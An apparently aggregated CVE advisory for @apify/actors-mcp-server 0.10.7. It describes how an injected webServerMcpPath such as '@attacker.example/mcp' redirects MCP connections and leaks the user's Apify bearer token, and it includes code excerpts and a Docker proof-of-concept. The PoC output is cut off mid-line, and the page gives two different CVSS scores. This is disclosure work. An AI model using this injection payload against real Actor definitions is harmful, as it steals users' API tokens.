🛡️ CVE-2026-50143 — actors-mcp-server
Description
Apify Model Context Protocol (MCP) server: Actor MCP path authority injection leaks Apify token
Actor MCP path authority injection leaks Apify token
Summary
@apify/actors-mcp-server version 0.10.7 builds Actor standby URLs by directly concatenating a trusted base URL with an attacker-controlled webServerMcpPath value taken from an Actor definition returned by the Apify API. An attacker who publishes a malicious Actor with a crafted webServerMcpPath (e.g., @attacker.example/mcp) can cause the MCP client to resolve the final URL to an entirely different host. Because the MCP client unconditionally attaches the victim's Authorization: Bearer <APIFY_TOKEN> header to every outbound connection, the victim's Apify API token is exfiltrated to the attacker's server. CVSS Base Score: 8.1 (High).
Details
getActorMCPServerURL() in src/mcp/actors.ts:44 constructs the Actor standby MCP URL by naive string concatenation:
```ts
// src/mcp/actors.ts:44
return ${standbyUrl}${mcpServerPath};
```
mcpServerPath originates from the webServerMcpPath field of an Actor definition fetched from the Apify API (src/utils/actor.ts:24-28). The field is trimmed and comma-split in getActorMCPServerPath() (src/mcp/actors.ts:14-20) but is never validated to:
- begin with a
/(relative path), - avoid an
@character (userinfo/authority injection), or - resolve to the same origin as
standbyUrl.
When webServerMcpPath is set to @attacker.example/mcp, the concatenated result becomes:
```
https://[email protected]/mcp
```
Node.js's WHATWG URL parser treats everything before @ as userinfo and extracts attacker.example as the hostname. This is not an edge-case browser behavior — it is specified by RFC 3986 and the WHATWG URL standard.
The constructed URL is forwarded to connectMCPClient() through three independent code paths:
| Call site | Trigger |
|---|---|
| src/tools/core/call_actor_common.ts:317 | call-actor MCP tool |
| src/utils/actor_details.ts:155 | fetch-actor-details MCP tool |
| src/mcp/server.ts:1047 | actor-mcp type tool loading |
connectMCPClient() (src/mcp/client.ts) attaches the victim's Apify token as a bearer credential to every transport type:
```ts
// src/mcp/client.ts:94 — SSEClientTransport requestInit
authorization: Bearer ${token},
// src/mcp/client.ts:103 — SSE fetch callback
headers.set('authorization', Bearer ${token});
// src/mcp/client.ts:124 — StreamableHTTPClientTransport requestInit
authorization: Bearer ${token},
```
There is no origin check anywhere between URL construction and the outbound HTTP request.
Full data-flow chain:
1. src/mcp/server.ts:811 — MCP tools/call request parameters are read.
2. src/mcp/server.ts:816 — apifyToken is resolved from _meta.apifyToken, server options, or process.env.APIFY_TOKEN.
3. src/tools/core/call_actor_common.ts:489-497 — attacker-controlled actor identifier is resolved via getActorMcpUrlCached().
4. src/utils/actor.ts:24-28 — Actor definition is fetched from the Apify API; webServerMcpPath is passed to getActorMCPServerURL().
5. src/mcp/actors.ts:14-20 — webServerMcpPath is trimmed and split; first element is returned without path validation.
6. src/mcp/actors.ts:44 — standbyUrl + mcpServerPath produces an authority-injected URL.
7. connectMCPClient() is called with the injected URL and the victim's token.
8. src/mcp/client.ts:94/103/124 — Authorization: Bearer <APIFY_TOKEN> is sent to the attacker's host.
PoC
Environment requirements:
- Docker (network-isolated container; no external network access needed)
- The repository at commit
4e2b185checked out under the build context
Build and run:
```bash
# Build the exploit image (from the mcp_38_apify__actors-mcp-server/ context directory)
docker build -t vuln-001-poc \
-f vuln-001/Dockerfile \
/path/to/mcp_38_apify__actors-mcp-server
# Run the exploit (--network none: fully air-gapped)
docker run --rm --network none vuln-001-poc
```
The Dockerfile:
1. Generates a self-signed TLS certificate for 127.0.0.1 (IP SAN required for Node.js TLS validation).
2. Installs @apify/[email protected] dependencies under pnpm.
3. Sets NODE_EXTRA_CA_CERTS so Node.js trusts the self-signed CA.
4. Runs exploit.mjs, which:
- Starts an HTTPS capture server on
127.0.0.1:31337. - Constructs a
webServerMcpPathof@127.0.0.1:31337/mcp. - Calls
getActorMCPServerURL()directly, producinghttps://[email protected]:31337/mcp. - Calls
connectMCPClient()with a simulated victim token (apify_api_VICTIM_SECRET_TOKEN_DEMO_12345). - Asserts that the capture server received
Authorization: Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345.
Observed output (Phase 2 evidence):
```
parsed.hostname : 127.0.0.1
[PASS] URL injection confirmed: request will be sent to 127.0.0.1:31337
=== STEP 2: attacker H
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability none.
Weakness class
CVE-2026-50143 is classified as CWE-918: Server-Side Request Forgery (SSRF). The server fetches a URL supplied by the caller, which can be pointed at internal systems it alone can reach.
Affected software
CVE-2026-50143 is recorded against 1 package.
- @apify/actors-mcp-server
Timeline and source
Published on 1 July 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.
References
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| @apify/actors-mcp-server | — | — |
References
Similar Threats
- Medium CVE-2026-46341
More CVE 2026 advisories
Browse all of CVE 2026 in the advisory index.
Site Security Check
Is actors-mcp-server part of your stack?
CVE-2026-50143 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.